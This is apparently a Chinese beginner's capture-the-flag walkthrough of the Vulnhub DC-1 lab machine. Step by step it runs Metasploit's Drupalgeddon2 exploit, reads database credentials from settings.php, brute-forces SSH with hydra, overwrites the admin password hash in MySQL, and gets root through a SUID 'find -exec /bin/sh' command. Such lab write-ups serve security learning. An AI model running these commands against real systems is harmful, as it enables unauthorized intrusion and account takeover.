本文作者是新手,全程跟着Vulnhub DC-1靶机渗透学习和Vulnhub靶机DC_1渗透两位大佬的教程,照猫画虎,最终也算是完成DC-1的通关。在这个过程中学到了很多东西,所以记录下来。
环境部分:本文全程使用Vmware Wrokstation pro,所下载的DC-1(下载地址)为镜像。攻击机和靶机的网络配置均为默认NAT模式。最终效果如下图。
真正的正文:同时打开kali和DC-1,在kali终端中输入arp-scan -l,然后出现
通过不断尝试,可以发现,上图中的192.168.79.134为我们的目标。浏览器输入ip打开192.168.79.134。
通过所安装的浏览器插件wappalyzer,可以知道该网站使用的内容管理系统(CMS)是drupal。
之后在kali终端依次输入msfconsole、search drupal。
然后输入use drupal_drupalgeddon2(当然使用use+相应模块的序号也可以)。
之后set RHOSTS 192.168.79.134。exploit。
当显示meterpreter >时, 说明进入成功。输入shell,ls,查看当前目录文件。
可以发现,有flag1.txt,我们打开看一下,cat flag1.txt
翻译可知,每个好的cms都需要一个配置文件,你也一样。提示我们要找到cms配置文件。
然后,cd sites/default,cat settings.php。
得到数据库账号和密码:dbuser R0ck3t
接下来进入 /etc/passwd。注意这里/etc是在总目录下的,而目前我们在某个不知名的子目录中,需要回到最上级,也就是总目录下面。使用cd .. 回到上一级,然后一步一步移到/etc中。在/etc目录下,cat passwd
发现了账号flag4。尝试用hydra+john暴力破解。(这里的kali终端不要关闭,之后会用到) 重新打开一个kali终端,输入如下代码:
hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.79.134
注意,这里的hydra 是kali自带的,而john需要下载(终端输入apt-get install john)。在john下载后,其所在的目录里会生成password.ls密码字典,我们使用的就是这个字典进行爆破。此处的/usr/share/john/password.lst是我所下载john的文件路径,注意更换成你所下载的john所在的路径。在寻找john路径时,应学会使用find语句。
在输入代码块后,显示:
可以发现,密码为orange(乐ing)。
再在kali终端远程登陆DC-1,输入ssh [email protected],输入密码
然后登陆mysql,依次输入mysql -u dbuser -p、show databases;、use drupaldb;、show tables;、select * from users;五条代码,每条代码输入完都应换行。第一条代码实现mysql的登陆,这里dbuser为之前得到的数据库账号,同时会提示输入密码,输入之前得到的R0ck3t即可。第二条代码为显示数据库,第三条代码为使用被命名为drupaldb数据库,第四条代码为显示表,第五条代码为查看users。(这里的代码都是mysql基本命令)
下面,我们修改uid=1,name=admin的管理员用户密码进行修改。因为如果想要得到最高权限,就必须得到admin(管理员)密码。而如果想修改管理员密码,必需知道密码的加密法则。要想知道密码的加密法则,就得找到scripts目录。
紧接着,我们在之前没关闭的kali终端中,按住Ctrl+C,输入y,退出meterpreter。之后输入shell,再次进入(这里再次进入主要是为了方便找到scripts目录) 。进入后直接输入cd scripts,ls
发现password-hash.sh密码加密脚本。输入cd ..,./scripts/password-hash.sh 123456,可以得到123456经加密后的值。事实上,这里使用的哈希加密算法。
我们复制123456经过哈希加密后的值。
回到之前mysql所在的kali终端。首先保证是在use drupaldb之后,然后输入如下代码:
update users set pass='$S$DuCz5h51tL8F/fV0VAgjCpUpwgV27PyimMSucvknQKmP5JH1o9GP' where name='admin';
这里是代码大意时改变users表中name=admin用户的pass值(upgrade set命令)。显示如图
若有OK字样,则说明管理员账号admin的密码pass修改成功。
这时,我们可以使用 admin 123456登陆之前的网站192.168.79.134。
登陆成功。点进content界面,发现flag3
翻译可知, 特殊的PERMS将会帮助FIND密码,但是你需要 -exec来……根据大佬的看法,这应该想让我们提权(参考)。提权,顾名思义就是通过一些手段获得更高一级的权限,即通过各种漏洞以普通用户的身份得到网站系统的最高权限。我们目前使用的是flag4的账号登陆系统(如何判断:输入whoami命令,系统输出的为当前用户账号),而通过提权操作我们可以成为root用户(拥有最高权限)。
在当前的kali 终端中,我们需要先退出mysql系统。然后输入find / -perm -u=s -type f 2>/dev/null
显示所有具有root权限的SUID的文件。
发现/usr/bin/find拥有root权限。所以我们可以通过使用特定的find命令来提权。在tmp目录下新建abcd文件,然后在/tmp目录下使用find ./ abcd -exec '/bin/sh' \; 命令,可以将目前的flag4用户提升为root用户,获得最高级权限。这时输入whoami,系统会输出root。
更换成功。输入命令时的前缀flag4@DC-1改成了#也说明我们已经成功更换成了root用户(这可能和kali的版本有关)。这下总算可以进入总目录下的root目录了。(用flag4账号登陆时是无法进入root目录的),然后cat thefinalflag.txt
Well done!!!!大功告成。
由于是第一次做Vulnhub靶场的练习,总的来说进展不是很顺利,但能学到很多东西,见到了很多大佬写的文章,也不失为一种趣事。